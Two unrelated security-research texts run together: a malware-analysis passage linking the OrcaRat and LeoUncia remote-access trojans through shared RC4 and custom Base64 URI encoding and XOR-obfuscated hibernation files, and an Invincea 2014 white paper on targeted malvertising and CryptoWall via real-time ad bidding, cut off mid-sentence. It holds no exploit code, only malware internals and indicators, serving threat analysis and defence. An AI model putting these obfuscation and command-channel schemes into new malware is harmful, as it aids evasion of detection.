OrcaRat sample. It looks a lot like: qFUtb6Sw/TytLfLsy/HnqI8QCX/ZRfFP9KL/_2yA9GIK/iufEXR2r/e6ZFBfoN/fcgL04f7/ZBzUuV5T/Balrp2Wm URI taken from a LeoUncia sample. What about it? Could it be the same kind of things, huh? Let's dig a little deeper inside the code to check if it is just some sort of coincidence or if it is indeed the same code that is behind these two pieces of malware. PWC explain it pretty well: the URI is made of some sort of Base64-encoded strings with the middle one being the seed to be associated to the master key to decrypt the whole thing. Actually: URI = E1/E2/E3/E4/E5 and to obtain Di (the original data that gives us Ei once encrypted), we must perform the following operation: Di = rc4(md5(custom_debase64(E3)+master_key)).decrypt(Ei) where master_key is OrcaKiller for the OrcaRat sample. What can we find in LeoUncia that is to be found in OrcaRat too? URI decryption First, let's have a look at the URI decryption routine. Dealing with OrcaRat, we have seen the following algorithm: Di = rc4(md5(custom_debase64(E3)+master_key)).decrypt(Ei) When we talk about LeoUncia, we can have a look at the blog posts made by FireEye back in December 2010, especially the second one, where some assembly code has been screenshot from IDA without ever giving the name of the underlying algorithm: yes, it is RC4! Once decoded from Base64, the binary data we obtain from the URI is comprised of two parts: the first 16 bytes are the decryption key, and the rest of the data is the information to be decrypted. Putting back pieces together, we have the following algorithm for LeoUncia: D = rc4(custom_debase64(E)[:16]).decrypt(custom_debase64(E)[16:]) The two samples both share a "custom" Base64 encoding with the use of RC4; nothing fabulous, but it is a start. Encoding We dig further with the encoding algorithm: the so-called custom Base64. In both case, the first goal of the customization is to avoid the presence of some in any encoded data, because it would break down the process of cutting the URI along with the separator. For LeoUncia, the Base64 being used is the Base64-URI that replaces and by and , while for OrcaRat, are kept and are replaced by Additionally, OrcaRat authors thought it would be great if the URI was a little less obviously Base64-related. So, rather than splitting every eight characters to avoid having "=" in the URI, they decided that replacing the endings "=" in "=1" and "==" in "=2" would be a great improvement. Hibernation feature Let's have a look at one of the feature of LeoUncia: the hibernate feature. The feature does the same in OrcaRat: check for some date and time written in a file, and sleep for as long as needed before deleting the aforementioned file. (We would also notice that an useless call to FileTimeToSystemTime has been removed meanwhile.) The real difference lies in the obfuscation of the filename: LeoUncia was using a plain-text filename ( readx ), whereas OrcaRat is obfuscating (just the same way it obfuscates the Campaign ID) this data: the filename is wbt.dat (obfuscated string XORed character-by-character with the XOR key product ) and it is located in the Data folder of the user OrcaRat is running with. Code seen in a very old LeoUncia sample: plain-text hibernation filename. Code seen in a more recent LeoUncia sample: XORing with hxing the hibernation filename. Code seen in an OrcaRat sample: XORing with product the hibernation filename. Debug strings Finally, let's look at the debug strings we can find in the binaries. The LeoUncia sample studied by FireEye includes a perfect English string: \r\nThe Remote Shell Execute: %s completed!\r\n Unfortunately, we cannot find this string in the OrcaRat sample. Bad luck... But when we look at a more recent sample of LeoUncia, we have one with the above string and two other interesting strings: \r\nThe Remote Shell Execute: %s completed!\r\n \r\nReturnTime Set Error!\r\n \r\nReturnTime set success!\r\n These two strings are linked to the writing in the hibernation file, and indicates to the C&C manager that its command either succeeded or failed. That is very interesting because the OrcaRat sample is also using some very similar debug strings to notify its C&C about the hibernate command: \r\nSet return time error = %d!\r\n \r\nSet return time success!\r\n And yes, it is always easier to debug your code when you know the error code; that's an improvement! Conclusion These two families are most likely linked in the sense that OrcaRat is a nicely updated version of LeoUncia. DETECTION | PREVENTION | INTELLIGENCE Invincea White Paper Micro-Targeted Malvertising via Real-time Ad Bidding UPDATED: Includes New CryptoWall Malvertising Campaign Release date: October 27, 2014 Invincea White Paper Invincea, Inc. Invincea White Paper Table of Contents Executive Summary ............................................................................................................... 2 Introduction .......................................................................................................................... 3 Operation DeathClick: Targeting the US Industrial Base ...................................................................4 Summary for Incident at Fleaflicker.com .........................................................................................4 Summary for Incident at Gpokr.com ...............................................................................................9 Summary for Webmail.earthlink.net ............................................................................................. 11 Summary of Incidents in Operation DeathClick ............................................................................. 13 Real-Time Bidding Networks: How it works .......................................................................... 13 Malvertisers have Weaponized RTB ............................................................................................. 16 Competitive Service Offerings for RTB .......................................................................................... 16 Major Players in RTB .................................................................................................................... 20 How Malvertisers Get $$ to Bid on RTB ......................................................................................... 21 Where Malvertisers Host Exploits ................................................................................................. 22 Real World Examples of RTB Malvertising Captured by Invincea .................................................... 23 Ransomware Campaign via Malvertising ............................................................................. 26 Analysis of CryptoWall Malvertising Infections .............................................................................. 27 Central Hosting of Clean Content ......................................................................................... 30 How to Protect Yourself from Micro-targeted Malvertising ................................................. 31 Release Notes...................................................................................................................... 32 Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Executive Summary Most targeted attacks against organizations originate as spear-phish campaigns or watering hole style web driveby attacks. Within the last six months, Invincea has discovered and stopped targeted malvertizing attacks against specific companies -- particularly those in the Defense Industrial Base. The combination of traditional cyber crime methods (malvertising) with targeted attacks against Defense industrials for theft of IP represents another development in the on-going blending of techniques from cyber crime and advanced threat actors with nation state agendas. We are tracking an on-going campaign against US Defense companies under the code name Operation DeathClick. Traditional malvertizing has been an effective but indiscriminate method cyber crime gangs use to compromise endpoints to perpetrate ad fraud, identity fraud, and banking credential theft. In this new targeted variation of malvertizing, the perpetrators are attacking specific organizations by leveraging realtime ad bidding networks and micro-targeting techniques developed over the last decade in online advertising. The objective of these micro-targeted attacks against the Defense sector is likely theft of Intellectual Property more than ad fraud and indicates motive and sophistication characteristic of advanced threat actors. Since these attacks were blocked by Invincea prior to compromise of the machine or network, we cannot confirm the specific IP the perpetrators are after only the Tactics, Techniques, and Protocols (TTPs) used which we describe herein, similar to methods used to provide backdoor access and command and control over compromised networks. While we discovered these attacks across multiple Defense companies, we expect it will not be long, if not already, before other highly targeted segments including Federal, Financial Services, Manufacturing, and HealthCare are victimized with the same micro-targeted malvertising. The campaign described here does not represent a single flaw, 0-day, or unpatched bug, but rather a significant development in the adversary s capabilities and strategy to leverage legitimate online advertising platforms on well-known ad supported websites via a technique called Real-Time Ad Bidding. In other words, this problem will not be patched on Tuesday. UPDATE: We have updated this document to include a new section on a campaign of distributing CryptoWall ransomware via malvertising. While the attack vector is the same, we believe this to be motivated by cybercrime rather than theft of IP from Defense companies. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Introduction Malvertising has seen meteoric rise in 2014. Threat actors create a corporate front, advertise on commonly visited sites, then later switch out the landing pages for their ads to pages that host exploit kits, or simply create a temporary redirection from their usual content to the malicious landing page. These exploit kits are hosted on compromised web servers across the world. In other words, they leverage legitimate ad-supported popular websites together with compromised websites for hosting exploit landing pages, defeating black-listing techniques. The lifetime of these ads and landing pages are measured in hours. In the campaign described here, Operation DeathClick, traditional malvertising has been armed with a micro-targeting system using IP address ranges, geographically narrowed down to zip codes, and interests of the user (recorded in cookies) to target specific companies, company types, and user interests/preferences. They are employing the tactics of real-time ad bidding to guarantee malicious ad delivery to intended targets of the campaign building on a decade of work in real-time analytics for online ad placement, but for nefarious purposes. The threat actors redirect their ads for just minutes at a time and then abandon their exploit kit pages forever. This means that list-based threat intelligence feeds are rendered ineffective. The domains used do not appear in any proxy blacklist, and the malware droppers delivered by the exploit pages always employ different signatures, evading traditional network and endpoint detection technology. Ad delivery networks today are not incentivized to address the problem in a credible manner as they derive revenue from the criminal enterprise, while not being held accountable. Turning a blind eye to the problem is rewarded economically. Meanwhile the perpetrators are able to use traditional malvertising and ad fraud bots to fund the criminal enterprise. Without cooperation of ad networks to vet the advertisers working through front companies, this attack vector will go unchecked. And now, with the advent of real-time ad bidding, these threat actors have weaponized ad delivery networks to target victims based on: User-Agent strings (versions of flash, OS, java and browser) Interest-related content (click bait articles, industry specific software or hardware, like medical supplies, radar mapping software, ammunition sales, stocks forums) Advertising Profiles derived from cookies (someone with specific tastes, may shop for shoes, handbags, cars, luxury vacations) Geographic region (malvertisers can target specific neighborhoods or states via geoip direct advertising) Specific corporate IP ranges (targeted malvertising can target the public IP space of your network or an Industrial Vertical) Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Real-time ad bidding allows advertisers, and by extension, adversaries, to micro-target ad delivery on an extremely granular basis. For example, oppressive regimes trying to gather intelligence on activist protests can deliver ads to people getting email from within a specific locality where they are protesting. Today, it is commonplace for micro-targeting techniques to be used as part of the toolset in legitimate online advertising. For instance, a defense contractor, trying to win a new omnibus contract, can deliver targeted ads to online news sites frequented by Government program personnel. The latest software product release can be delivered to Windows users visiting PC Magazine s website. A local car dealership can sense when someone is in the market for a new car and can deliver advertising to those users, based solely on browsing history. Now advanced threat actors are able to target an organization directly via micro-targeted malvertising, based solely on their corporate network IP range. Thus, it doesn t matter where in the world you point your web browser -- an online video poker room, a fantasy football club homepage, a Pakistani news homepage, or even checking your own webmail at a trusted email provider. Those ad windows can and are being used to deliver malware if the bidding price is right. Operation DeathClick: Targeting the US Industrial Base Recently, multiple US Defense/Aerospace contractors were targeted by a malvertising campaign. These contractors had deployed world-class enterprise security defense in depth approaches to protect their intellectual property. They had next generation firewalls that relied on threat intelligence feeds to do auto-blocking of known malicious sites. They had malware interception technology that relied on known bad hashes to prevent malicious downloads. The multiple proxies in place subscribed to real time feeds of known bad URLs. They deployed AV at the gateways and on the endpoints. But in a two week period, these organizations were hit with dozens of micro-targeted malvertising attacks, each of which would have provided a beachhead for the threat actors from which to compromise the network, if successful. In each instance, the attacks were carried out by targeting these Defense contractors directly via real-time ad bidding. Once targeted, an end user only needed to browse to any website, anywhere in the world, which contained a DoubleClick ad-partner embedded window. Invincea stopped these attacks on the endpoints by containing the delivered exploits in secure virtual containers, while producing the forensics that led to this discovery. Next we go in some detail about example attacks perpetrated against the defense firms. It is important to note that the websites we show next that served up targeted malvertising were victims of malvertising campaigns with no knowledge of the malicious ads they were serving up. These malicious ads were served up by 3rd party networks, who are unwittingly sourcing malicious content. As we will discuss later, the 3rd party ad networks themselves are falling victim to malicious content campaigns. Summary for Incident at Fleaflicker.com Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper A user visited his online fantasy football league homepage at Fleaflicker.com. As soon as the page loaded, a malicious ad delivered a backdoor Trojan via a Java-based exploit. Figure 1 shows a screenshot of the page that was visited. You will notice the two inline ad placements for DoubleClick ad delivery. The malware delivered came from a compromised Polish website, and would have installed a generic backdoor Trojan. Figure 1: Fleaflicker.com website Note the prominent ad placements by AdChoice, a DoubleClick affiliate. Figure 2 shows an event tree of the exploit and malware delivered from an ad by visiting Fleaflicker.com. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Figure 2: Event tree for infection from Fleaflicker.com Incident The event tree in Figure 2 taken from Invincea s Threat Management Console shows the exploited Java process dropped a file called fvJcrgR0.exe, and that it likely came from Pubmatic, an ad delivery network that allows for real time bidding to deliver ads. In this instance, the Pubmatic server redirected to a Web server in Poland that dropped the malware. The timeline below shows the exact times and URLs visited. Figure 3: Timeline for Fleaflicker.com Incident Note the number of re-directs from Fleaflicker.com to different outside properties in Figure 3. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Figure 4: Process Launch for Malware fvJcrgR0.exe from Fleaflicker.com Incident Invincea Threat Management provides a quick way to search for an MD5 hash on third party sites (see Figure 4). By clicking the VirusTotal link, the analyst will see the following VirusTotal report in Figure 5: Figure 5: VirusTotal Report for Malware fvJcrgR0.exe from Fleaflicker.com Incident Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper From the VirusTotal report in Figure 5, you will see that this malware is a Trojan backdoor that would likely be used to download additional malware or to provide remote persistent access to the attacker. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Summary for Incident at Gpokr.com An employee at a defense contractor visited a free Texas Poker online game. The Poker site had advertisements on the page, one of which launched a similar attack as seen in before on other websites visited by employees at this firm. Figure 6: Screenshot of Gpokr.com It should be noted that Gpokr.com no longer appears to be serving advertisements from their site. At the time of the incident, as seen in the logs below, an ad window was previously present. In the event tree shown in Figure 7, you will see that the winning bid redirected to a direct-to-IP site instead of a site via domain name. Also, above is the first indication of specific executable DLL files. Searches for these filenames returned zero results on VirusTotal. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Figure 7: Event Tree for Gpokr.com This event on September 14 (Figure 8) shows that delivery.first-impression.com redirected directly to an IP address, not a domain name to deliver its malicious payload. Note the multiple DLL files written to disk and the spawning of rundll32.exe. At this point, the Invincea-protected host recognized the unauthorized process and reverted itself to a clean state. Figure 8: Timeline View for Event 5 Gpokr.com Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Summary for Webmail.earthlink.net In another incident an employee checked their online Earthlink account. When they replied to an email, a new ad was loaded on a page that attempted to exploit Java. This malvertising was from the same IP address seen in other incidents. Figure 9: Screenshot of Webmail.earthlink.net You will notice the inline advertisements on this page in Figure 9. The event tree in Figure 10 notes that this was likely a spear-phish attack. The timeline will show that when the user replied to an email, the ads on the Earthlink page refreshed, dropping the exploit code via Java. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Figure 10: Event Tree for Incident 6 Webmail.earthlink.net Note in the timeline in Figure 11, how there was a 7 minute gap between the DoubleClick ad redirect and the delivery.first-impression.com ad. This is an indication that the page was refreshed or the ad was refreshed on the page. The same exploit IP address from the Gpokr event is present. This event is the oldest, happening on September 11. Figure 11: Timeline for Incident 6 Webmail.earthlink.net Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Summary of Incidents in Operation DeathClick The three examples above are samples of the more than two dozen micro-targeted attacks we have witnessed and blocked as part of Operation DeathClick since mid-September. Defense Industrial Base customers witnessed micro-targeted malvertising at a rate six times that of comparable private sector companies with similar defense-in-depth capabilities. Real-Time Bidding Networks: How it works We observed in Operation DeathClick that real-time ad bidding networks are being used by criminal enterprise to target companies with malicious content in order to gain persistent remote access. In these third-party arrangements, the content is frequently not vetted because billions of impressions are rendered in real-time. Most of the content is legitimate ads. A small fraction is malicious content linking to landing pages that infect users. Real-time ad networks are being used, often unwittingly, and some have taken steps to try and combat malicious use of their networks. The Online Trust Alliance is one such industry group comprised of major software companies and ad networks working together to try and address this problem. Our goal in this paper is to shed light on the micro-targeting of companies by criminal enterprise employing real-time ad networks, and to aid the industry in collectively addressing this problem. Real-time ad bidding networks have evolved over the last ten years as a means of micro-targeting customers with advertising content they are more likely to click-on. From Wikipedia: Real-time bidding (RTB) refers to the means by which ad inventory is bought and sold on a perimpression basis, via programmatic instantaneous auction, similar to financial markets.[1] With real-time bidding, advertising buyers bid on an impression and, if the bid is won, the buyer s ad is instantly displayed on the publisher s site.[2] Real-time bidding lets advertisers manage and optimize ads from multiple ad-networks by granting the user access to a multitude of different networks, allowing them to create and launch advertising campaigns, prioritize networks and allocate advertising stock. Real-time bidding is a dynamic bidding process where each impression is bid for in (near) real time, against a static auction where the impressions are typically bundled in groups of 1,000. A typical transaction begins with a user visiting a website. This triggers a bid request that can include various pieces of data such as the user s demographic information, browsing history, location, and the page being loaded. The request goes from the publisher to an ad exchange, which submits it and the accompanying data to multiple advertisers who automatically submit bids in real time to place their ads. Advertisers bid on each ad impression as it is served. The Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper impression goes to the highest bidder and their ad is served on the page.This process is repeated for every ad slot on the page. Real time bidding transactions typically happen within 100 milliseconds from the moment the ad exchange received the request. The bidding happens autonomously and advertisers set maximum bids and budgets for an advertising campaign. The criteria for bidding on particular types of consumers can be very complex, taking into account everything from very detailed behavioral profiles to conversion data. The following infographic summarizes how advanced adversaries are now micro-targeting companies using malvertising. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Malvertisers have Weaponized RTB The marketplace and auction of ads sounds great for actual ads. But what if the landing pages that are supposed to be ads are actually malicious PHP pages with embedded malware? The bidding and ad placements work the same, but instead of seeing a flashy ad banner, the highest bidder for the placement serves malware. The price to win the bid to push malvertising to any page you happen to visit ranges from 45 to 75 cents per impression. A malicious advertiser on a network may serve crafted, seemingly normal ads, a majority of the time. In fact, the ads are often stolen copies from legitimate advertisers. This establishes the attacker s legitimacy and trust on the ad network. Of course with real-time ad bidding, he can simply offer up low bids and his content would consistently lose in the marketplace. But it is very simple to replace the redirection code to switch from a legitimate ad banner to a drop site that hosts an exploit kit, typically based on Java, Flash, Silverlight, or all three. Once the malvertiser detects that he has several infected hosts, he removes the redirection code and goes back to serving standard ad banners. He then burns his temporary exploit kit drop site, moving his exploits to another location for a new campaign. This allows the malicious advertiser to perform hit and run attacks, infect whomever he wants at whatever time he wants, and maintain his presence on the advertising marketplace without drawing undue attention to his activities. In the sections below, we will provide highlights of the RTB industry, its targeting capabilities, and show how malvertisers have been mis-appropriating RTB networks to deliver malware. Competitive Service Offerings for RTB The RTB ad networks provide significant micro-targeting capabilities that have long been used to serve legitimate content to users more likely to click on them. In the following, we describe these capabilities to show the state of the art in RTB network capabilities. The quoted material below are direct quotes from Real Time Bidding service providers linked. Emphasis added by Invincea. Pubmatic: Audience Targeting: Bid on the audiences most valuable to you. Each impression in the PubMatic auction can be enhanced with first- and third-party data; giving buyers targeting capabilities across display, mobile, tablet and video inventory. Media buyers can also cookie sync with publisher audiences to incorporate CRM, retargeting and exclusion strategies in their digital advertising. Buyers have access to proprietary audience segments either directly through Private Marketplace deals or through the open market. With hundreds of parameters available to you, PubMatic has your best audiences waiting for you. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper With PubMatic, buyers are able to access pre-defined vertical or audience packages, seasonal packages, publisher and/or site-specific inventory packages as well as pre-selected publisher packages and pricing available in Private Marketplaces. First-Impression.com First-Impression Buy-Side offers the granular targeting, tracking, and reporting needed to help our clients make the most of their spend, along with an expert support team to advise when needed. By leveraging real time buying, First-Impression Buy-Side gives media buyers the full control to maximize the value of an impression. Could Malvertisers Track Exploits and their cost per impression? Yes. Many RTB networks provide a control panel to track advertising campaigns in real-time, along with notifications that bids have been won and who exactly was served the malware. Below is a URL redirection log from First-Impression.com from a winning bid by a malvertiser. In the URL are parameters such as the type of ad, the type of user-agent string of the ad reader specified (which discloses browser and java versions), whether it is a retargeted ad based off of cookies (this one was not), the price paid, which is 65.4 cents, and the notification to the malvertiser that his malvertising was delivered. http://delivery.firstimpression.com/delivery?action=serve&ssp_id=3&ssp_wsid=2191400908&dssp_id=100&domain_ id=2191400908&ad_id=748271&margin=0.4&cid=155380&bn=sj14&ip_addr=24.234.123.133&ua=15 40937276&top_level_id=24.234.123.133&second_level_id=1540937276&page=thanhniennews.co m&retargeted=null&height=90&width=728&idfa=null&android_id=null&android_ad_id=null&bi d_price=0.654&count_notify=1&win_price=$AAABSMPg1dmFEPqXEZe5_CYviub3uOlabldGew DoubleClick.net DoubleClick discusses their targeting capabilities in online documentation. Since they specialize in knowing the location of their ad windows, they market those ad spaces to the actual advertisers and malvertisers, along with targeted demographics about the content pages, the visitors to the sites and more. To showcase the variety of impression-level data available to buyers, consider the data made available through a connection to DoubleClick Ad Exchange s real-time bidding API. With ADX, a buyer could consider any of the following data passed from the seller with each impression: Ad slot parameters: visibility (above or below the fold), size, excluded creative attributes, excluded advertiser URLs, allowed vendor or ad technology. Geo parameters: country, region, metro, city. Content parameters: site URL, site language, seller network, vertical or category. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper User parameters: browser, operating system, anonymous cookie (hashed), cookie age. Just like when considering one type of data, by using the anonymous cookie parameter, buyers can consider first-party retargeting or third-party audience data from a data provider. However, they can go further in the evaluation by looking at more of these parameters. This helps a buyer learn much more about a particular user and a particular impression, gain a smarter answer to the three essential questions and make a more data-driven decision. Twitter, Facebook and other RTB ads can now target mobile devices by their phone numbers. This sounds like a great way to advertise if you are in the marketing industry. Consider how granularly a person can be targeted if this service is used maliciously. If not targeted by the desktop, how about on the mobile platform? Twitter s Tailored Audiences just got a little more tailored. Advertisers can now augment their customer data using mobile advertising IDs and mobile phone numbers as a way to reach existing customers and increase audience size. In essence, the move is an extension of Twitter s Tailored Audiences for CRM retargeting, which allows advertisers to use hashed non-PII email address to retarget existing customers. (email addresses are twitter IDs- so you could be targeted for ad delivery based on your account name or known phone number) Twitter also rolled out the ability to target lookalike audiences, a function that seems pretty similar to Facebook s tool of the same name. Twitter s lookalike modeling uses a proprietary algorithm that examines modeled users looking for similarities related to behaviors, interests, location, demographic attributes and engagement patterns. Twitter described its enhanced as part of improved targeting options to help advertisers reach additional users similar to their existing audiences. Tailored Audiences, Twitter s seeming answer to the Facebook Exchange (FBX), officially launched back in December after running retargeting and database matching tests in July. Twitter has appeared to follow Facebook s lead with a number of its recent roll-outs, including site retargeting, CRM targeting and now retargeting via lookalike audiences. (Facebook also makes it possible to target users by phone numbers through Custom Audiences.) Neustar.biz Neustar does provide a real-time bidding ad exchange, but their real market is IP intelligence that they sell to other advertising networks for the purposes of better targeting specific users. In Europe, laws require that advertising networks allow people to opt out of having tracking cookies, which is how many advertisers used to rely upon for ad campaign targeting. To get around this, Neustar perfected IP based targeting, which avoids cookies. They are able to build IP specific browsing profiles based on IP subnets. In a blog post below, Neustar boasts about their direct to IP range and enterprise advertising. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper How can Neustar IP Intelligence target by IP? While IP intelligence has been around for many years, the ability to effectively target advertising by audience, based on IP is very new. Neustar IP Intelligence is currently working with select DSP platforms to buy impressions off of the exchanges based on the IP address rather than cookies. This has only been possible with the recent emergence of real time bidding (RTB). The secret sauce is in understanding the IP and the methodology necessary for targeting ads appropriately against it. Is an IP Address like a cookie? No, an IP address only identifies devices on a network. The IP address does not contain any PII and does not track or store any consumer usage or behavioral information. (But IP ranges are registered by IANA, and you can easily know who owns the ranges) Product Specific Questions Q1: How does the process work? The process works exactly like any advertising network. Instead of buying inventory based on a cookie, Neustar is buying inventory based on an IP address. We run the targeting specifics against our proprietary database and create a custom IP list to target against. Neustar has set up relationships with partners that have built the functionality for this to work end-to-end for our advertisers. Neustar offers a full service ad network. Brand marketers who wish to advertise using IP Audience Targeting can work directly with Neustar to determine custom IP placements, run campaigns, optimization, reporting and billing. Much like any traditional online publisher or online ad network, Neustar manages the entire process. How does Neustar deliver its ads? We use industry standard methods for delivering our ads, but what makes our approach special is that we bake in the IP data before delivering the inventory with our network partners, which allows us to target display ad campaigns to a specific business or organization. We obtain inventory from ad exchanges, but have our own ad server. Zedo Zedo, blamed for recent malvertising via DoubleClick, say they are now trying to protect against malvertisers in this blog here. Less than a week after this announcement, they published another blog post that describes how they can push advertising to specific platforms, devices, as well as specific markets and networks: ZEDO Advertising Technology Updates September 2014 Device Targeting Users can now target ads to a specific device when trafficking ads. An option for Device Targeting is now available under Targeting . A creative targeted to a specific Device will serve only on that Device. All major manufacturers/models are supported by this feature. If a creative is not targeted to any specific device than it will serve on all device. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Figure 13: Targeting by Device Manufacturer/Model Apart from device, a user can target various devices based on different categories. At any given point of time, a user can target multiple manufacturers and categories. Figure 14: Targeting by Device Category Reach Report by Creative Apart from existing campaign reach report a user can now pull a reach report by creative. The creative reach report is available along with all the existing parameters and can be pulled by month, week or day. Creative reach report will show creative wise reach. It will help to analyze how effective the reach of a creative was. Major Players in RTB Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper To be clear, RTB networks are legitimate platforms for displaying ads on ad-supported websites. They enable micro-targeting of user s interest, delivering content that a viewer would likely want to see. As we have detailed here, they can also be mis-appropriated unwittingly by malvertisers using these same tools and techniques to target companies with malware for persistent remote access in addition to traditional click fraud, phishing, and identity theft. Below are links to RTB providers to learn more. http://www.sovrn.com/ http://www.turn.com/ http://indexexchange.com/ https://www.dataxu.com/ http://www.sitescout.com/rtb/ http://first-impression.com/home/ http://www.zedo.com/ How Malvertisers Get $$ to Bid on RTB Invincea has shown logs from a winning malvertising bid in the price range of 65 cents per impression. That is one ad, on one page, paid for by the malvertiser s account. This implies that malvertisers have deep pockets, spending hundreds of dollars on ad impressions. So how do they get money to spend on these malicious campaigns? Invincea recently saw a malvertiser win a bid and delivered a Java exploit. This exploit copied a fully functional version of Chrome into the Java cache directory, and that version of Chrome launched in the background and proceeded to visit websites and click on specific ad banners. It is presumed that these ad banners paid revenue via referral bonuses to the malvertiser. By paying 65 cents to install a background web browser that does nothing but click fraud, the malvertiser is able to reap hundreds if not thousands of dollars in advertising referral income. It is a pretty good return on investment, which in turn allows the malvertiser to fund his micro-targeted malvertising attack campaign. It is ironic, however, that click fraud is what is driving the prices of RTB advertising so high. Malvertising is not only a danger to end users, but it is a danger to the advertising industry as well. The image from Figure 14 below shows a log file of Chrome, in this instance, renamed Oajvliewxpge.exe, injected via Java to run in the background. Invincea detected this attack and killed the infection attempt. This is one instance where the malvertiser wasted his 65 cents. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Figure 16: Event tree of click fraud malvertising exploit It should be noted that Invincea is uniquely capable of stopping this type of attack. The introduction of Chrome as a browser, which is whitelisted by hash across the AV industry, would go unchecked by the AV and whitelisting applications industry. In this instance, the host was almost converted to a click-fraud bot. But the malware delivery could have been intended for data exfiltration, banking Trojans, or any other more insidious purpose. Where Malvertisers Host Exploits The ability for advertisers and malvertisers to automatically redirect to self-hosted ad content or exploit pages is driving RTB malvertising. Invincea has witnessed a rash of exploit kits and landing pages hosted Compromised WordPress Blogs Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Unconfigured Apache hosts Cloud-based NGINX subdirectories Government and News pages in Poland Free Hosting sites such as ua.in In most instances, the landing pages are preconfigured with the exploit kit. The malvertiser creates the redirection in his normal ad prior to raising his bids to winning levels. Once several victims are confirmed, those malicious landing pages have the content erased, and the automatic redirection removed to serve normal ads again. Real World Examples of RTB Malvertising Captured by Invincea Figures 17 through 21 in the following are screenshots from Invincea s Threat Management console from various RTB-based malvertising incidents with highlighted URLs for malvertising delivered via RTB ad bidding. Figure 17: Recent Blaze.Com RTB Kryptik malvertising via GumGum Figure 18: Online Ammunition Forum had RTB malvertising delivered. Exploit landing page in In.ua. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Figure 19: Largest Trading Online Forum Trade2Win.com delivered RTB malvertising via German provider: Figure 20: Answers.com click bait articles hosted winning RTB bids dropping Kryptik from Polish government landing page exploit kits. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Figure 21: Online Poker Room and targeted RTB attack against Defense Contractor. Java exploit hosted at unconfigured Nginx host. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Ransomware Campaign via Malvertising In September and October of 2014, Invincea saw a sharp spike of malvertising delivering CryptoWall ransomware attacks via Real Time Ad Bidding. We observed Real Time Ad bidding platforms, including OpenX, GoogleAds, Yahoo, AOL, and first-impression.com, fall victim to the ransomware malvertising scheme by unwittingly delivering the CryptoWall 2.0 ransomware ads. Ransomware is a particularly pernicious form of malware that fully encrypts the victim s disk and data files, including remote storage, then demands payment of anywhere from $300 to $1000 in return for the decryption key. Users are held hostage from their own work, pictures, personal, and proprietary material. To learn more about the scourage of ransomware, see this blog. Based on analysis of Invincea logs in would-be victims targeted by these ads, we have insight into the attacker that is delivering the malicious ads. According to Invincea analysis of ads delivered from firstimpression.com, winning ad bids ranging from as low as 30 cents and as high as $1.70, were delivered by a block of unique identifiers. It is highly likely that the same attackers are using other RTB ad platforms. This campaign matches the characteristics described by Proofpoint in its blog in terms of the exploitation methods. Legitimate ad copy is stolen, 3rd party ad networks used to distribute malware, and popular adsupported websites displaying the malicious ads that exploit unsuspecting visitors with drive-by web exploits. Merely visiting any ad-supported site may result in a CryptoWall ransomware infection. Cryptowall 2.0 utilizes the TOR network to hide its communications, but it quickly encrypts all local files on the disk, and demands bitcoin payment to unlock the files. Many companies have fallen prey to this attack over the past few months, making this one of the most successful Ransomware campaigns to date. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Analysis of CryptoWall Malvertising Infections Mitigated Infection Event Sports.Yahoo.com Below is a typical Cryptowall 2 infection as seen in the Invincea Management Server logs. This winning ad placement ran on sports.yahoo.com an Alexa Top 4 rated site. Highlighted in order in Figure 22 is the common filename of obupdat.exe, which has ever changing hashes, followed by the TOR port, and the 3rd party ad platform of first-impression.com. Analysis (Original report): Figure 22: CryptoWall 2.0 infection report Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Timeline Analysis (Original Report): Below in Figure 23 is the timeline of the Tor connections and SSL connections employed by CryptoWall. Figure 23: Network connections from CryptoWall 2.0 Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper In addition, you can see the ransom note being written to disk on an infected machine in the audit logs in Figure 24. Figure 24: File writes including the ransom note from CryptoWall infection Figure 25 shows the winning malvertising bid via RTB ad delivery from first-impression.com. Items highlighted in the URL below is userid, and the winning bid price to place malvertising of Cryptowall on sports.yahoo.com, which is 60 cents. Figure 25: Winning malvertising bid with fields embedded in URL Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper In Figure 26 below, we show the unique identifiers for the userID and campaigns to deliver CryptoWall malware that were blocked and audited by Invincea, including the websites that delivered the ads via a third-party ad network over the past month. userID, CampaignID and CommonName 748568&margin=0.4&cid=155493&bn=wheelie 748568&margin=0.4&cid=155493&bn=wheeljack 748163&margin=0.4&cid=155330&bn=wheeljack 748566&margin=0.4&cid=155493&bn=redalert 746705&margin=0.4&cid=154897&bn=dc16 (unknown) 748480&margin=0.4&cid=155474&bn=redalert 748600&margin=0.4&cid=155528&bn=inferno 748418&margin=0.4&cid=155453&bn=inferno 748270&margin=0.4&cid=155380&bn=sj10 (skipjack) 748417&margin=0.4&cid=155453&bn=wheeljack Website Delivering Malvertising Hotair.com webmail comcast theblaze.com sports.yahoo.com www.searchtempest.com viewmixed.com rr webmail lucianne.com thanhniennews.com mariowiki.com Figure 26: Malware campaigns delivered via 3rd party ad network and the websites that hosted the To reiterate, neither the websites listed here, nor the 3rd party ad network, necessarily was aware of the malicious ads they were serving to the website visitors. It is likely they were not aware without ad screening technology. In each event above, Invincea blocked an attempt to infect an endpoint with Cryptowall 2.0 and prevented 